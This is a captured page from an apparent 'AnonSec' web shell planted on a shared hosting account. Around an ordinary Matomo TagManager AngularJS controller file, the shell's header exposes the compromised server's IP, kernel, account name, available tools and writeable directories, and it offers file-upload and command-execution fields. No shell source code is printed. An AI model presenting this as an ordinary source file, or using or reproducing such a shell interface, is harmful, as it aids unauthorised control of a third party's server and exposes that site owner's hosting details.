AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/w/e/awebpaca/piwik/plugins/TagManager/angularjs/manageVersion/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/w/e/awebpaca/piwik/plugins/TagManager/angularjs/manageVersion/list.controller.js
/**
 * Matomo - free/libre analytics platform
 *
 * @link https://matomo.org
 * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
 */

(function () {
    angular.module('piwikApp').controller('VersionListController', VersionListController);

    VersionListController.$inject = ['$scope', 'tagManagerVersionModel', 'piwik', 'piwikApi', '$location'];

    function VersionListController($scope, tagManagerVersionModel, piwik, piwikApi, $location) {

        this.model = tagManagerVersionModel;
        this.hasWriteAccess = piwik.hasUserCapability('tagmanager_write');

        var self = this;
        this.idContainer = $scope.idContainer;
        this.token_auth = piwik.token_auth;
        this.environments = [];
        this.versionToBePublished = null;
        this.idSite = piwik.idSite;
        this.canPublishToLive = piwik.hasUserCapability('tagmanager_publish_live_container');

        tagManagerVersionModel.fetchAvailableEnvironmentsWithPublishPermission().then(function (environments) {
            self.environments = [];
            angular.forEach(environments, function (environment) {
                self.environments.push({key: environment.id, value: environment.name});
            });
        });

        this.createVersion = function () {
            this.editVersion(0);
        };

        this.truncateText = function(text, length) {
            if (text && (text + '').length > length) {
                return String(text).substr(0, length - 3) + '...';
            }
            return text;
        };

        this.publishVersion = function (version) {
            version.deployEnvironment = '';
            version.availableEnvironments = [];
            angular.forEach(this.environments, function (env) {
                var found = false;
                if (version.releases) {
                    angular.forEach(version.releases, function (release) {
                        if (env && env.key == release.environment) {
                            found = true;
                        }
                    });
                }
                if (!found) {
                    if (!version.deployEnvironment) {
                        version.deployEnvironment = env.key;
                    }
                    version.availableEnvironments.push(env);
                }
            });
            this.versionToBePublished = version;
            piwik.helper.modalConfirm('#confirmPublishVersion', {yes: function () {
                if (version.deployEnvironment) {
                    self.model.publishVersion(version.idcontainer, version.idcontainerversion, version.deployEnvironment).then(function () {
                        self.model.reload(self.idContainer);
                    });
                }
            }});
        };

        this.enableDebugMode = function (idContainerVersion) {
            tagManagerHelper.enablePreviewMode(self.idContainer, idContainerVersion);
        };

        this.exportVersion = function (idContainerVersion, versionName) {
            var params = {
                module: 'API',
                method: 'TagManager.exportContainerVersion',
                format: 'json',
                idContainer: self.idContainer,
                filter_limit: -1,
            };
            if (idContainerVersion) {
                params.idContainerVersion = idContainerVersion;
            }
            var filename = 'container_' + self.idContainer;
            if (versionName) {
                filename += '_' + versionName;
            }
            piwikApi.fetch(params).then(function (exportedContainer) {
                piwik.helper.sendContentAsDownload(filename + '.json', JSON.stringify(exportedContainer));
            });
        };

        this.editVersion = function (idContainerVersion) {
            var $search = $location.search();
            $search.idContainerVersion = idContainerVersion;
            $location.search($search);
        };

        this.importVersion = function () {
            tagManagerHelper.importVersion($scope, self.idContainer);
        }

        this.deleteVersion = function (version) {
            function doDelete() {
                tagManagerVersionModel.deleteVersion(self.idContainer, version.idcontainerversion).then(function () {
                    tagManagerVersionModel.reload(self.idContainer);
                });
            }

            piwik.helper.modalConfirm('#confirmDeleteVersion', {yes: doDelete});
        };

        this.model.fetchVersions(this.idContainer);
    }
})();

Anon7 - 2022
AnonSec Team